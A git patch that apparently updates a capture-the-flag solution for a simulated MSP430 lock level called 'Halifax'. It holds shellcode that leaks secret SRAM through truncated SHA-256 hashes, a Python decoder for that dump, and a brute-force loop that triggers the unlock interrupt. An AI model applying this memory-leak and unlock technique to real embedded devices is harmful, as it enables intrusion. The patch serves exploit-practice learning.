From 1c9710378bc26e9c4ff8c6dc3dc17042911ab5ef Mon Sep 17 00:00:00 2001 From: Val Date: Tue, 17 Jan 2023 19:10:31 -0600 Subject: [PATCH] Halifax: Push latest changes Requires assemble.py from Swiftloke's MSProbe to automatically compile --- .gitignore | 3 + 25-Halifax/halifax.py | 87 ++++++++++------- 25-Halifax/shellcode copy.asm | 78 --------------- 25-Halifax/shellcode.asm | 177 ++++++++++++++++++++-------------- 4 files changed, 159 insertions(+), 186 deletions(-) delete mode 100644 25-Halifax/shellcode copy.asm diff --git a/.gitignore b/.gitignore index 4222461..a4224f4 100644 --- a/.gitignore +++ b/.gitignore @@ -9,6 +9,9 @@ Saves # MSProbe - https://github.com/Swiftloke/MSProbe MSProbe* +# Halifax binary dumps +25-Halifax/*.bin + # Python cache __pycache__ **/__pycache__ diff --git a/25-Halifax/halifax.py b/25-Halifax/halifax.py index 3629207..4a0f76a 100644 --- a/25-Halifax/halifax.py +++ b/25-Halifax/halifax.py @@ -1,8 +1,8 @@ #!/usr/bin/env python -import re, os -from sys import byteorder +import re, os, sys from hashlib import sha256 +from assemble import asmMain # match this many hexadigits # must be corroborated within the script @@ -10,45 +10,64 @@ depth = 6 # bytes per message message_size = 1 -internal_sram_hash = input("Internal SRAM Hash: ").lower() +shellcode_asm = 'shellcode.asm' +if len(sys.argv) > 1: + shellcode_asm = sys.argv[1] -target = re.sub(r'\s+', '', input("Encoded Target: ")).lower() +shellcode_out = f'{shellcode_asm}.tmp' -# calculate LUT for given parameters -all_hashes = {} -for i in range (0, 1<<(8*message_size)): - key = sha256(i.to_bytes(length=message_size, byteorder='big', signed=False)).hexdigest()[:depth] - all_hashes[key] = i -dedup = list(dict.fromkeys(all_hashes.keys())) -print(f"distinct values in all_hashes: {len(dedup)}\n") +#Compile shellcode w/ msprobe +asmMain(shellcode_asm, shellcode_out, silent=True) -sram: bytearray = bytearray() +with open(shellcode_out) as file: + shellcode = file.readline() + shellcode_len = len(bytes.fromhex(shellcode)); +os.remove(shellcode_out) -# decode -print("Decoded:") -for loc in range (0, len(target), depth*message_size): - key = target[loc:loc+depth] - try: - value = all_hashes[key] - if value: +print(f"6000{shellcode_len:x}{shellcode}") + +def main(): + internal_sram_hash = input("Internal SRAM Hash: ").lower() + + target = re.sub(r'\s+', '', input("\nEncoded Target: ")).lower() + + # calculate LUT for given parameters + all_hashes = {} + for i in range (0, 1<<(8*message_size)): + key = sha256(i.to_bytes(length=message_size, byteorder='big', signed=False)).hexdigest()[:depth] + all_hashes[key] = i + dedup = list(dict.fromkeys(all_hashes.keys())) + #print(f"distinct values in all_hashes: {len(dedup)}\n") + + sram: bytearray = bytearray() + + # decode + print("Decoded:") + for loc in range (0, len(target), depth*message_size): + key = target[loc:loc+depth] + try: + value = all_hashes[key] print(f"{value:x}", end="") - except KeyError: - value = 0x00 - sram.append(value) + except KeyError: + value = 0x00 + sram.append(value) -# write to file -with open("carfax.bin", 'wb') as output: - output.write(sram) + # write to file + with open("carfax.bin", 'wb') as output: + output.write(sram) -print("") -# hexdump file -os.system("xxd carfax.bin") + print("") + # hexdump file + os.system("xxd carfax.bin") -# check hash against provided value -while len(sram) < 0x1000: - sram.append (0) -print (f"{sha256(sram).hexdigest()}\n{internal_sram_hash}") + # check hash against provided value + while len(sram) < 0x1000: + sram.append (0) + print (f"\nHash:\nProvided: {internal_sram_hash}\n Decoded: {sha256(sram).hexdigest()}") -if (sha256(sram).hexdigest().lower() == internal_sram_hash.lower()): - print("Hash match!") + if (sha256(sram).hexdigest().lower() == internal_sram_hash.lower()): + print("Hash match!") + +if __name__ == "__main__": + main() diff --git a/25-Halifax/shellcode copy.asm b/25-Halifax/shellcode copy.asm deleted file mode 100644 index fe1c3f7..0000000 --- a/25-Halifax/shellcode copy.asm +++ /dev/null @@ -1,78 +0,0 @@ -; just -6000 1c 0b43 1e43 3d400080 0f4b b012b645 3d500300 1b53 3b906000 f72b 3041 - -; where depth = number of nibbles in each truncated hash -; msize = number of bytes per hash - -;* depth 8, message size 2 -;? completes in 67234 cycles -6000 6c -0b43 2e43 3d400080 0f4b b012b645 3d500400 1b53 3b902000 f72b -0b43 5e4b0080 4f4e 0f11 0f11 0f11 0f11 12c3 3ef00f00 3ff0 0f00 5f4f1047 b0127845 5f4e1047 b0127845 1b53 3b908000 e82b -3e4040003f400090b0126845 -0f433d400090b012b645 -3f407f00b0125045 3041 - - -get_sram_hashes: -0b43 2e43 3d400080 0f4b b012b645 2d52 1b53 3b902000 f72b -0b43 clr r11 ; loop variable in r11 -2e43 mov #2, r14 ; r14 = 2 -3d40 0080 mov #0x8000, r13 ; set destination to 0x8000 - -loop: -0f4b mov r11, r15 ; mov addr r15 -b012 b645 call #0x45b6 ; -2d52 add #4, r13 ; keep 4 bytes of the output -1b53 inc r11 ; inc r11 -3b90 2000 cmp #0x20, r11 ; do that 0x1000 times -f72b jnc $-0xe - -print_hex: -0b43 5e4b0080 4f4e 0f11 0f11 0f11 0f11 12c3 3ef00f00 3ff0 0f00 5f4f1047 b0127845 5f4e1047 b0127845 1b53 3b908000 e82b - -0b43 clr r11; -5e4b 0080 mov.b 0x8000(r11), r14 -4f4e mov.b r14, r15 -0f11 rra.b r15 -0f11 rra.b r15 -0f11 rra.b r15 -0f11 rra.b r15 -12c3 clrc -3ef0 0f00 and #0xf, r14 -3ff0 0f00 and #0xf, r15 -5f4f 1047 mov.b 0x4710(r15), r15 -b012 7845 call #0x4578 ; -5f4e 1047 mov.b 0x4710(r14), r15 -b012 7845 call #0x4578 ; -1b53 add 0(r3), r11 ; inc r11 -3b90 8000 cmp #0x80, r11 ; do that 0x20*4 times -e82b jnc $-0x28 - -take_input: -3e4040003f400090b0126845 - -3e40 4000 mov #0x40, r14 -3f40 0090 mov #0x9000, r15 -b012 6845 call #0x4568; - -check_password_questionmark: -0f433d400090b012b645 - -0f43 clr r15 -;3e40 0010 mov #0x1000, r14 ; set length to 0x1000 -3d40 0090 mov #0x9000, r13 ; set buffer to 0x9000 -b012 b645 call #0x45b6 ; - -unlock7f: -324000ffb0121000 0243 3041 - -324000ff mov #ff00, sr -b0121000 call #0x10 -0243 mov #0, sr - -30127f00b0125045 -3012 7f00 push 0x7f -b012 5045 call 0x4550 - -3041 ret diff --git a/25-Halifax/shellcode.asm b/25-Halifax/shellcode.asm index 6d8fa37..e4179e0 100644 --- a/25-Halifax/shellcode.asm +++ b/25-Halifax/shellcode.asm @@ -1,88 +1,117 @@ -; just -6000 1c 0b43 1e43 3d400080 0f4b b012b645 3d500300 1b53 3b906000 f72b 3041 - -; where depth = number of nibbles in each truncated hash -; msize = number of bytes per hash - -;* depth 8, message size 2 -;? completes in 67234 cycles -6000 6c -0b432e433d4000800f4bb012b6452d521b533b904000f82b -0b435e4b00804f4e0f110f110f110f1112c33ef00f003ff00f005f4f1047b01278455f4e1047b01278451b533b900001e82b -3e4040003f400090b0126845 -0f433d400090b012b645 -3f407f00b0125045 3041 - -;* depth 6, message size 1 -;? completes in 61899 cycles -6000 6d -0b431e433d4000800f4bb012b6453d5003001b533b906000f72b -0b435e4b00804f4e0f110f110f110f1112c33ef00f003ff00f005f4f1047b01278455f4e1047b01278451b533b90c000e82b -3e4040003f400090b0126845 -0f433d400090b012b645 -3f407f00b0125045 3041 +; just hash the first 0x140 B and stick them in memory +; 6000 1c 0b43 1e43 3d400080 0f4b b012b645 3d500300 1b53 3b904001 f72b 3041 +; Compile with this fork of msprobe: +const: +.define msize 0x1 ; length of each hash in bytes +.define hsize 0x3 ; bytes kept per hash (only needs to be 3 to determine 1 byte of sram) +.define slen 0x140 ; number of bytes in sram to dump +.define olen 0x3c0 ; number of bytes in hash array +.define oaddr 0x7000 ; address of the big hash array +.define iaddr 0x8000 ; address of the sram input buffer +.define kaddr 0x9000 ; address of the key buffer +external_data: +.define HEX_LUT 0x4710; "0123456789ABCDEF" +external_func: +; INT(int interrupt, ...) +.define INT #0x4550 +; getsn(void *dest, size_t len) +.define getsn #0x4568 +; putchar(char character) +.define putchar #0x4578 +; puts(char *str) +.define puts #0x4586 +; memcpy(void *dest, void *src, size_t len) +.define memcpy #0x45a4 +; sha256_internal(void * sram_addr, size_t sram_len, void * sha_buf) +.define sha256_internal #0x45b6 +; memset(void* buf, char value, size_t length) +.define memset #0x45c8 +setup_variables: +push r4 +push r5 +push r6 +push r7 +mov #msize, r4 ; message_size +mov #hsize, r5 ; bytes_per_hash +mov #slen, r6 ; sram_length +mov #olen, r7 ; output_length get_sram_hashes: -0b43 1e43 3d400080 0f4b b012b645 3d500300 1b53 3b908000 f72b -0b43 clr r11 ; loop variable in r11 -1e43 mov 0(r3), r14 ; r14 = 1 -3d40 0080 mov #0x8000, r13 ; set destination to 0x8000 - -loop: -0f4b mov r11, r15 ; mov addr r15 -b012 b645 call #0x45b6 ; -3d50 0300 add #3, r13 ; keep 3 bytes of the output -1b53 add 0(r3), r11 ; inc r11 -3b90 6000 cmp #0x80, r11 ; do that 0x1000 times -f72b jnc $-0x10 +clr r11 ; loop variable in r11 +mov r4, r14 ; r14 = 1 +mov #oaddr, r13 ; set destination to 0x8000 +sr_loop: +mov r11, r15 ; mov addr r15 +call sha256_internal; +add r5, r13 ; keep 3 bytes of the output +inc r11 ; inc r11 +cmp r6, r11 ; do that 0x1000 times +jnc sr_loop print_hex: -0b43 5e4b0080 4f4e 0f11 0f11 0f11 0f11 12c3 3ef00f00 3ff0 0f00 5f4f1047 b0127845 5f4e1047 b0127845 1b53 3b90 c000 e82b +clr r11; +ph_loop: +mov.b oaddr(r11), r14 +mov.b r14, r15 +rra r15 ; using rra here instead of rra.b means the value won't roll into the highest bit +rra r15 ; which negates the need to and 0xf, r15 +rra r15 +rra r15 +clrc +and #0xf, r14 +mov.b HEX_LUT(r15), r15 +call putchar ; +mov.b HEX_LUT(r14), r15 +call putchar ; +inc r11 ; inc r11 +cmp r7, r11 ; do that sram_length*3 times +jnc ph_loop + +mov.b #0xa, r15 ; '\n' +call #0x4578 ; putchar ('\n') -0b43 clr r11; -5e4b 0080 mov.b 0x8000(r11), r14 -4f4e mov.b r14, r15 -0f11 rra.b r15 -0f11 rra.b r15 -0f11 rra.b r15 -0f11 rra.b r15 -12c3 clrc -3ef0 0f00 and #0xf, r14 -3ff0 0f00 and #0xf, r15 -5f4f 1047 mov.b 0x4710(r15), r15 -b012 7845 call #0x4578 ; -5f4e 1047 mov.b 0x4710(r14), r15 -b012 7845 call #0x4578 ; -1b53 add 0(r3), r11 ; inc r11 -3b90 c000 cmp #0x120, r11 ; do that 0x60*3 times -e82b jnc $-0x28 take_input: -3e4040003f400090b0126845 +; 3e4040003f400090b0126845 +mov r6, r14 +mov #iaddr, r15 +call getsn ; -3e40 4000 mov #0x40, r14 -3f40 0090 mov #0x9000, r15 -b012 6845 call #0x4568; - -check_password_questionmark: -0f433d400090b012b645 - -0f43 clr r15 -;3e40 0010 mov #0x1000, r14 ; set length to 0x1000 -3d40 0090 mov #0x9000, r13 ; set buffer to 0x9000 -b012 b645 call #0x45b6 ; +check_all_passwords: +;for i in 0..slen: +clr r9 +pw_loop: +; memset(kaddr, 0, 0x20) +mov #20, r13 +clr r14 +mov #kaddr, r15 +call memset +; memcpy(kaddr, iaddr + i, len) +mov #10, r13 +mov #iaddr, r14 +add r9, r14 +mov #kaddr, r15 +call memcpy +; sha256_internal(s_addr, len, kaddr) +mov #kaddr, r13 ; set buffer to 0x9000 +mov #0x0010, r14 ; set length to 0x10 +mov r9, r15 +call sha256_internal +; INT(7f) unlock7f: -324000ffb0121000 0243 3041 +mov #0x7f, r15 +call INT -324000ff mov #ff00, sr -b0121000 call #0x10 -0243 mov #0, sr +inc r9 +cmp r6, r9 +jl pw_loop -30127f00b0125045 -3012 7f00 push 0x7f -b012 5045 call 0x4550 - -3041 ret +teardown_variables: +pop r7 +pop r6 +pop r5 +pop r4 +ret